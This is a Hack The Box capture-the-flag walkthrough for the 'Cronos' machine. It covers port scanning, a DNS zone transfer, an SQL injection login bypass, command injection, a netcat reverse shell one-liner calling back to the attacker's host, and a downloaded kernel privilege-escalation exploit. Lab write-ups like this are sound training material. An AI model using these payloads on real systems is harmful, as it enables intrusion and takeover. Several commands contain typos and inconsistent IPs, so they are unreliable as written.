Cronos -- hack the box

Introduction

Target machine: 10.10.10.13(OS: linux)

Kali linux: 10.10.16.44

Enumeration

Firstly, detect the open ports:

nmap -sT -p- --min-rate 10000 -oA openports 10.10.10.13

3 ports is open, detect the detailed services:

namp -sV -sC -p22.53.80 -Pn -oA services 10.10.10.13

So we can conduct the relation of ports and services as following:

Exploitation

http

As the target machine provides http service, try to access http://10.10.10.13

Default apache web page, nothing new. So try to brute force http://10.10.10.13/ with dirbuster. After brute force for a period time, we have not found anything new.

DNS

As the target machine owns DNS service. It is common to check zone transfer with dig. As we can have a guess of the dns domain of cronos.htb. So zone transfer can be checked by:

dig axfr @10.10.10.13 cronos.htb

An interestring domain name admin.cronos.htb is found. So add an entry into /etc/hosts:

10.10.10.13    admin.cronos.htb

Try to access admin.cronos.htb in the browser, a login web page is displayed. Yep, it is what we want. It seems that the login is quite simple. Try to login with sql injection with the username of admin' or '1' = '1, the password can be anything.

Magic! We are in. It seems that it is a network tool. However, it seems that it has exposed the ability to execute command remotely. Have a test of 8888&whoami:

The result is www-data. Obviously, the command can executed properly. Now try to reverse the shell. Try to listen to port 1234 by nc in our kali:

nc -lvnp 1234

Then use the bash reverse shell command:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.44 1234 >/tmp/f

Wait for serveral seconds, shell is return. Wonderful!

Try to obtain a tty terminal:

python -c "import pty;pty.spawn('/bin/sh')"

Obviously, the user role can be obtained. Go the home folder and ls， then go into the user folder to get user.txt.

Privilege escalation

It's time to get the root role. See the kernel of the target machine:

uname -a

Google linux kernel privilege escalation, find a payload

Start a http server to provide the payload, name it as exploit.c:

pythoon -m SimpleHTTPServer 80

There are serveal ways to provide http file services, including: php, apache, python, etc. Pyhton is quite convenient. Then download the exploit.c in the target machine:

wget http://10.10.16.22/exploit.c

Then try to compile it with gcc. Opps, gcc seems has not been installed in the target machine. In general, linux will install gcc. Whatever, compile the exploit.c in kali:

gcc exploit.c -o exploit

Remember to download the file from a folder with permission, just like /tmp:

cd /tmpwget http://10.10.16.44/exploit

Make sure to have execution perssion by:

chmod +x exploit

Just execute it by ./exploit. Wow, now see whoami.

Conclusion

The target machine is quite straitforward. The basic point is the zone transfer of DNS exploit. And other steps is not difficult with basic knowledges including: sql injection, reverse shell, etc.